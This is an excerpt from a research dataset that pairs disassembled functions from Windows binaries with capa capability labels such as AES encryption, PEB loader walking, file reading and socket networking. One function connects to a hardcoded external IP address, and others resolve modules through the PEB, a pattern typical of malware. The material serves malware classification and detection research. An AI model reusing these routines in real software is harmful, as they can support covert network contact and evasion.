joyce8/EMBER2024-capa huggingface dataset:
Function at 0x460dc0
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x403203
push rbp
mov rbp, rsp
sub rsp, 0x18
mov rdx, qword [rax]
mov rcx, qword [rax + 8]
mov rax, rdx
call fcn.00408e40
add rsp, 0x18
pop rbp
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.0045efe0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp 0x4031e0
cmp byte [0x005bf68a], 0
je 0x460dd5
mov rcx, qword [rax + 8]
mov rax, qword [rax]
jmp 0x45e020
jmp 0x4031e0

Function at 0x460de0
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
nop
mov eax, dword [rax]
movabs rcx, 0xe7037ed1a0b428db
xor rcx, rax
xor rax, rbx
xor rax, qword [0x005bf980]
movabs rdx, 0xa0761d6478bd642f
xor rdx, rax
mov rax, rcx
mul rdx
xor rax, rdx
mov rcx, rax
movabs rax, 0x1d8e4e27c47d124b
mul rcx
xor rax, rdx
nop
nop
ret
cmp byte [0x005bf68a], 0
je 0x460e15
movq xmm0, rbx
pinsrd xmm0, dword [rax], 2
aesenc xmm0, xmmword [0x005bfc40]
aesenc xmm0, xmmword [0x005bfc50]
aesenc xmm0, xmmword [0x005bfc60]
movq rax, xmm0
ret
jmp 0x409060

Function at 0x460e20
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
nop
mov rax, qword [rax]
movabs rcx, 0xe7037ed1a0b428db
xor rcx, rax
xor rax, rbx
xor rax, qword [0x005bf980]
movabs rdx, 0xa0761d6478bd642f
xor rdx, rax
mov rax, rcx
mul rdx
xor rax, rdx
mov rcx, rax
movabs rax, 0x1d8e4e27c47d1247
mul rcx
xor rax, rdx
nop
nop
ret
cmp byte [0x005bf68a], 0
je 0x460e56
movq xmm0, rbx
pinsrq xmm0, qword [rax], 1
aesenc xmm0, xmmword [0x005bfc40]
aesenc xmm0, xmmword [0x005bfc50]
aesenc xmm0, xmmword [0x005bfc60]
movq rax, xmm0
ret
jmp 0x4090c0

Function at 0x462b20
Capabilities:
Allocate thread local storage

Disassembly:
push rbp
mov rbp, rsp
mov rax, rsp
and rsp, 0xfffffffffffffff0
sub rsp, 0x30
mov qword [rsp + 0x20], rax
mov rax, qword [sym.imp.kernel32.dll_TlsAlloc]
call rax
mov rsp, qword [rsp + 0x20]
mov rcx, rax
cmp rcx, 0x40
jb 0x462b54
mov rcx, 0x28
jmp 0x462b5f
shl rcx, 3
add rcx, 0x1480
mov qword [0x005bf8d0], rcx
pop rbp
ret
Function at 0x4786c0
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x47878a
push rbp
mov rbp, rsp
sub rsp, 0x48
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x58], rax
mov qword [rsp], rax
mov qword [rsp + 8], rbx
mov byte [rsp + 0x10], 0
call fcn.00403100
xorps xmm15, xmm15
mov r14, qword [0x005bf8d0]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x18], 0xffffffffffffffff
jne 0x47876f
mov rcx, qword [rsp + 0x60]
lea rdx, [rcx + 1]
mov qword [rsp + 0x40], rdx
lea rax, [0x004a63e0]
xor ebx, ebx
mov rcx, rdx
call fcn.00448160
mov rbx, qword [rsp + 0x60]
mov rcx, rax
xor edi, edi
mov rsi, qword [rsp + 0x40]
mov rax, qword [rsp + 0x58]
nop dword [rax]
call fcn.00478ca0
inc rbx
cmp rcx, rbx
jae 0x47875e
mov edi, 1
lea rsi, [0x004a63e0]
call fcn.00448240
mov word [rax + rbx*2 - 2], 0
xor edi, edi
xor esi, esi
add rsp, 0x48
pop rbp
ret
xor eax, eax
xor ebx, ebx
mov rcx, rbx
lea rdi, [0x004e4218]
lea rsi, [0x004e3b28]
add rsp, 0x48
pop rbp
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.0045efe0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.004786c0
Function at 0x491720
Capabilities:
Hash data using fnv

Disassembly:
test byte [rax], al
mov rcx, rbx
and ebx, 0x7f
shl rbx, 5
lea rdx, [rax + rbx]
xor eax, eax
jmp 0x491737
inc rax
cmp rax, 4
jge 0x49174f
lea rbx, [rdx + rax*8]
mov rbx, qword [rbx]
cmp rbx, rcx
jne 0x491734
mov eax, 1
ret
xor eax, eax
movabs rbx, 0xcbf29ce484222325
jmp 0x491760
inc rax
cmp rax, 4
jge 0x49176e
mov rsi, qword [rdx + rax*8]
xor edi, edi
jmp 0x491797
and ebx, 3
lea rdx, [rdx + rbx*8]
xchg qword [rdx], rcx
xor eax, eax
ret
movzx r8d, sil
xor rbx, r8
inc rdi
shr rsi, 8
movabs r8, 0x100000001b3
imul rbx, r8
cmp rdi, 8
jl 0x49177b
jmp 0x49175d
Function at 0x180003360
Capabilities:
Access peb ldr_data

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
cmp dword [0x180021a94], 0xa
jl 0x180003392
mov eax, dword [0x180021a98]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
je 0x180003392
nop word cs:[rax + rax]
jmp 0x180003390
mov rax, qword gs:[0x60]
mov r11, qword [rax + 0x18]
add r11, 0x10
mov eax, dword [0x180021a80]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp dword [0x180021a7c], 0xa
setl r8b
or r8b, al
mov eax, dword [0x180021a9c]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp dword [0x180021aa0], 0xa
setl r9b
or r9b, al
lea r10, [rcx - 1]
xor eax, eax
mov r14, r11
mov r14, qword [r14]
cmp r14, r11
je 0x180003468
mov rsi, r10
test r8b, r8b
je 0x180003480
cmp byte [rsi + 1], 0
lea rsi, [rsi + 1]
jne 0x180003400
test r9b, r9b
je 0x180003490
sub rsi, rcx
je 0x180003464
mov r15, qword [r14 + 0x60]
xor ebx, ebx
nop
movzx r13d, word [r15 + rbx*2]
lea edi, [r13 - 0x41]
lea ebp, [r13 + 0x20]
cmp di, 0x1a
cmovae ebp, r13d
movsx edi, byte [rcx + rbx]
lea r12d, [rdi - 0x41]
lea edx, [rdi + 0x20]
cmp r12b, 0x1a
cmovae edx, edi
sub ebp, edx
test r13d, r13d
je 0x180003460
test ebp, ebp
jne 0x180003460
add rbx, 1
cmp rsi, rbx
jne 0x180003420
jmp 0x180003464
test ebp, ebp
jne 0x1800033ec
mov rax, qword [r14 + 0x30]
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
jmp 0x180003480
jmp 0x180003490
Function at 0x1800025d0
Capabilities:
Access peb ldr_data

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
cmp dword [0x180020a8c], 0xa
jl 0x180002602
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
je 0x180002602
nop word cs:[rax + rax]
jmp 0x180002600
mov rax, qword gs:[0x60]
mov r10, qword [rax + 0x18]
add r10, 0x10
mov eax, dword [0x180020a78]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp dword [0x180020a74], 0xa
setl r8b
or r8b, al
mov eax, dword [0x180020a94]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp dword [0x180020a98], 0xa
setl r9b
or r9b, al
lea r11, [rcx - 1]
xor eax, eax
mov r14, r10
mov r14, qword [r14]
cmp r14, r10
je 0x1800026fb
mov rsi, r11
test r8b, r8b
je 0x1800026e0
cmp byte [rsi + 1], 0
lea rsi, [rsi + 1]
jne 0x180002670
sub rsi, rcx
je 0x1800026f2
test r9b, r9b
je 0x1800026f0
mov r15, qword [r14 + 0x60]
xor ebx, ebx
nop word [rax + rax]
movzx r13d, word [r15 + rbx*2]
lea edi, [r13 - 0x41]
lea ebp, [r13 + 0x20]
cmp di, 0x1a
cmovae ebp, r13d
movsx edi, byte [rcx + rbx]
lea r12d, [rdi - 0x41]
lea edx, [rdi + 0x20]
cmp r12b, 0x1a
cmovae edx, edi
sub ebp, edx
test r13d, r13d
je 0x1800026d0
test ebp, ebp
jne 0x1800026d0
add rbx, 1
cmp rsi, rbx
jne 0x180002690
jmp 0x1800026f7
test ebp, ebp
jne 0x18000265c
jmp 0x1800026f7
jmp 0x1800026e0
jmp 0x1800026f0
test r9b, r9b
je 0x180002710
mov rax, qword [r14 + 0x30]
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
jmp 0x180002710
Function at 0x180001ad0
Capabilities:
Read file on windows

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x18], rbp
mov qword [r11 + 0x20], rsi
push rdi
push r14
push r15
sub rsp, 0x40
mov rax, qword [0x18002b040]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov r14, rcx
lea r8, [0x180027b90]
lea rcx, [r11 - 0x38]
call fcn.18000eac0
test eax, eax
jne 0x180001c60
mov rcx, qword [rsp + 0x20]
lea r8d, [rax + 2]
xor edx, edx
call fcn.18000e488
mov rcx, qword [rsp + 0x20]
call fcn.180008a48
movsxd rsi, eax
mov rcx, rsi
call fcn.18000f2d8
mov rcx, qword [rsp + 0x20]
mov rbx, rax
test rax, rax
je 0x180001c87
xor r8d, r8d
xor edx, edx
call fcn.18000e488
mov r9, qword [rsp + 0x20]
mov r8, rsi
mov edx, 1
mov rcx, rbx
call fcn.18000f210
mov rcx, qword [rsp + 0x20]
call fcn.18000e180
movzx eax, word [0x180027bc0]
or r11d, 0xffffffff
mov r10d, dword [str.zz1H:]
add esi, 0xfffffffc
mov r9d, dword [str.:zz1T]
mov ebp, r11d
mov word [rsp + 0x2c], ax
mov edi, r11d
movzx eax, word [0x180027bc8]
mov word [rsp + 0x34], ax
xor eax, eax
test esi, esi
jle 0x180001c4d
mov r8b, byte [rsp + 0x2c]
mov dl, byte [rsp + 0x34]
movsxd rcx, eax
cmp dword [rcx + rbx], r10d
jne 0x180001bcc
cmp byte [rcx + rbx + 4], r8b
jne 0x180001bcc
lea ebp, [rax + 5]
jmp 0x180001bd8
cmp dword [rcx + rbx], r9d
jne 0x180001bd8
cmp byte [rcx + rbx + 4], dl
je 0x180001be0
inc eax
cmp eax, esi
jl 0x180001bb7
jmp 0x180001be3
lea edi, [rax - 1]
cmp ebp, r11d
je 0x180001c4d
cmp edi, r11d
je 0x180001c4d
sub edi, ebp
inc edi
movsxd r15, edi
mov rcx, r15
call fcn.18000f2d8
mov rsi, rax
test rax, rax
je 0x180001c4d
movsxd rdx, ebp
mov r8, r15
add rdx, rbx
mov rcx, rax
call fcn.18001e120
mov rcx, rbx
call fcn.18000eb18
mov rax, r14
mov dword [r14], edi
mov qword [r14 + 8], rsi
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.180002440
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop rdi
ret
mov rcx, rbx
call fcn.18000eb18
mov ecx, 1
call fcn.180008da0
int3
mov r9d, reloc.WS2_32.dll_recv
lea r8, [0x180027b94]
lea rdx, [0x180027ba0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov ecx, 1
call fcn.180008da0
int3
call fcn.18000e180
mov ecx, 1
call fcn.180008da0
int3
Function at 0x180001c98
Capabilities:
Get file version info

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0x50
mov rax, qword [0x18002b040]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov rsi, rdx
mov rbp, rcx
lea rdx, [rsp + 0x38]
call qword [sym.imp.VERSION.dll_GetFileVersionInfoSizeW]
mov edi, eax
test eax, eax
je 0x180001d68
mov ecx, edi
call fcn.18000f2d8
mov rbx, rax
test rax, rax
je 0x180001d68
mov edx, dword [rsp + 0x38]
mov r9, rax
mov r8d, edi
mov rcx, rbp
call qword [sym.imp.VERSION.dll_GetFileVersionInfoW]
test eax, eax
je 0x180001d60
lea r9, [rsp + 0x3c]
mov rcx, rbx
lea r8, [rsp + 0x30]
lea rdx, [0x180027834]
call qword [sym.imp.VERSION.dll_VerQueryValueW]
test eax, eax
je 0x180001d4c
mov rax, qword [rsp + 0x30]
lea rcx, str.File_Version:__u._u._u._u_n
movzx edx, word [rax + 0xa]
mov dword [rsi], edx
movzx r8d, word [rax + 8]
mov dword [rsi + 4], r8d
movzx r9d, word [rax + 0xe]
mov dword [rsi + 8], r9d
movzx eax, word [rax + 0xc]
mov dword [rsi + 0xc], eax
mov dword [rsp + 0x20], eax
call fcn.1800010b0
jmp 0x180001d60
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.VerQueryValue_failed___lu__n
call fcn.1800010b0
mov rcx, rbx
call fcn.18000eb18
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.180002440
mov rbx, qword [rsp + 0x80]
add rsp, 0x50
pop rdi
pop rsi
pop rbp
ret

Function at 0x180001d88
Capabilities:
Connect socket
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket
Send http request

Disassembly:
mov qword [rsp + 0x18], rbx
push rsi
push rdi
push r14
sub rsp, 0x9b0
mov rax, qword [0x18002b040]
xor rax, rsp
mov qword [rsp + 0x9a0], rax
mov rsi, rdx
mov rdi, rcx
mov ecx, 0x202
lea rdx, [rsp + 0x30]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x180001eb2
lea r14d, [rax + 2]
xor r8d, r8d
mov ecx, r14d
lea edx, [rax + 1]
call qword [sym.imp.WS2_32.dll_socket]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180001eb2
xorps xmm0, xmm0
mov rcx, rsi
movups xmmword [rsp + 0x20], xmm0
mov word [rsp + 0x20], r14w
call fcn.18000ee94
mov ecx, eax
call qword [sym.imp.WS2_32.dll_htons]
lea r8, [rsp + 0x24]
mov rdx, rdi
mov ecx, r14d
mov word [rsp + 0x22], ax
call qword [sym.imp.WS2_32.dll_InetPtonW]
cmp eax, 1
jne 0x180001eb2
lea r8d, [r14 + 0xe]
mov rcx, rbx
lea rdx, [rsp + 0x20]
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
js 0x180001eb2
xor r9d, r9d
lea r8d, [r14 + 0x10]
lea rdx, str.GET___HTTP_1.1_r_n_r_n
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
js 0x180001eb2
mov edi, 0x7d0
lea rdx, [rsp + 0x1d0]
mov r8d, edi
xor r9d, r9d
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x180001eb2
cdqe
cmp rax, rdi
jae 0x180001edb
lea rdx, str.200_OK
mov byte [rsp + rax + 0x1d0], 0
lea rcx, [rsp + 0x1d0]
call fcn.18000447c
test rax, rax
je 0x180001eb2
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
jmp 0x180001eb7
mov eax, 1
mov rcx, qword [rsp + 0x9a0]
xor rcx, rsp
call fcn.180002440
mov rbx, qword [rsp + 0x9e0]
add rsp, 0x9b0
pop r14
pop rdi
pop rsi
ret
call fcn.180002570
int3
Function at 0x180001ee4
Capabilities:
Connect socket
Convert ip address from string
Initialize winsock library

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x1e0
mov rax, qword [0x18002b040]
xor rax, rsp
mov qword [rsp + 0x1d0], rax
mov ecx, 0x202
lea rdx, [rsp + 0x30]
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov edx, 1
lea edi, [rdx + 1]
mov ecx, edi
lea r8d, [rdx + 5]
call qword [sym.imp.WS2_32.dll_socket]
xorps xmm0, xmm0
lea r8, [rsp + 0x24]
movups xmmword [rsp + 0x20], xmm0
lea rdx, str.120.240.86.186.12
mov word [rsp + 0x20], di
mov ecx, edi
mov rbx, rax
call qword [sym.imp.WS2_32.dll_inet_pton]
lea ecx, [rdi + 0x4e]
call qword [sym.imp.WS2_32.dll_htons]
lea r8d, [rdi + 0xe]
mov rcx, rbx
lea rdx, [rsp + 0x20]
mov word [rsp + 0x22], ax
call qword [sym.imp.WS2_32.dll_connect]
mov ecx, 0xc350
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x180001f6b
Function at 0x1800087fc
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.180002b60
sub rsp, rax
mov rax, qword [0x18002b040]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.1800100ac
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x18000884b
mov rax, rbp
jmp 0x180008953
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x180000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x2c4d0]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.18001033c
mov r13, rax
lea rax, [0x180000000]
mov rcx, qword [rax + rbx*8 + 0x2c4d0]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x18000894f
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x18000894f
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.18001033c
test rax, rax
js 0x18000894f
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x18000894f
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x180008941
lea r8, [0x180000000]
cmp rcx, rdx
jae 0x180008941
cmp byte [rcx], 0xd
jne 0x180008927
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x180008936
cmp byte [rcx + 1], 0xa
jne 0x180008936
inc rcx
jmp 0x180008936
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x2b360]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x180008909
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x180008953
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.180002440
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret

Function at 0x180008be4
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x180008c53
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x180008c53
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x180008c53
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x180008c53
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x180008c53
cmp dword [rcx + 0x84], 0xe
jbe 0x180008c53
cmp dword [rcx + 0xf8], 0
je 0x180008c53
mov ecx, ebx
call fcn.180008d04
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.180008ae0
nop
cmp dword [rbp + 0x20], 0
je 0x180008ca1
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.180008cac
int3
xor r8d, r8d
xor edx, edx
jmp 0x180008be4
Function at 0x180008da0
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x180008c53
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x180008c53
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x180008c53
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x180008c53
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x180008c53
cmp dword [rcx + 0x84], 0xe
jbe 0x180008c53
cmp dword [rcx + 0xf8], 0
je 0x180008c53
mov ecx, ebx
call fcn.180008d04
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.180008ae0
nop
cmp dword [rbp + 0x20], 0
je 0x180008ca1
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.180008cac
int3
xor r8d, r8d
xor edx, edx
jmp 0x180008be4
Function at 0x180010bb0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x18002c4d0]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x180010c07
cmp word [rdx], r13w
jne 0x180010c07
or byte [rax + rdi*8 + 0x38], cl
jmp 0x180010c0c
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x180010d31
mov r11d, recv
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x180010d52
lea r9, [rdx + 2]
cmp cx, r11w
je 0x180010c45
mov rdx, r9
mov word [rbx], cx
jmp 0x180010c6c
cmp r9, r8
jae 0x180010c7c
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x180010c26
jmp 0x180010d31
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x180010d26
cmp dword [rsp + 0x80], esi
je 0x180010d26
lea r8, [0x18002c4d0]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x180010cfe
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x180010cce
mov word [rbx], r13w
jmp 0x180010d2e
mov ecx, recv
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x180010cdb
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x180010d2e
cmp word [rsp + 0x70], r13w
jne 0x180010d0b
cmp rbx, r14
je 0x180010cc8
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.180010344
cmp word [rsp + 0x70], r13w
je 0x180010d31
mov ecx, recv
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x18002c4d0]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x180010d2b
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x180010d31
Function at 0x180015fcc
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x180015ffc
xor eax, eax
jmp 0x1800160bf
mov rbp, rbx
cmp word [rax], si
je 0x180016021
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x180016008
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x180016004
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.180015eec
movsxd r14, eax
test eax, eax
jne 0x18001605f
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x180015ff5
mov rcx, r14
call fcn.180011974
mov rdi, rax
test rax, rax
jne 0x180016078
xor ecx, ecx
call fcn.180011938
jmp 0x180016054
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.180015eec
test eax, eax
jne 0x1800160a9
mov rcx, rdi
call fcn.180011938
jmp 0x1800160b3
xor ecx, ecx
call fcn.180011938
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x180019170
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x180019186
mov al, 1
jmp 0x1800191e6
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x180019197
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x1800191e4
mov ecx, dword [rcx + 0x18]
nop
call fcn.180016a9c
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1800191e4
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x1800191e4
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x1800191e4
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x1800191e6
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x18001cc90
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.180010344
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.180010344
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x18001cde0
cmp rax, 0xffffffffffffffff
je 0x18001cde0
xor edi, edi
test rbp, rbp
jle 0x18001cd8b
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.180013208
mov rbx, rax
test rax, rax
jne 0x18001cd18
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x18001cd81
mov edx, 0x8000
mov ecx, r14d
call fcn.18001cb14
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.180019f08
cmp eax, 0xffffffff
je 0x18001cd61
cdqe
sub rbp, rax
test rbp, rbp
jg 0x18001cd28
mov edx, r15d
mov ecx, r14d
call fcn.18001cb14
jmp 0x18001cd81
cmp byte [rsi + 0x38], dil
je 0x18001cd78
cmp dword [rsi + 0x34], 5
jne 0x18001cd78
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], recv
cmp byte [rsi + 0x30], dil
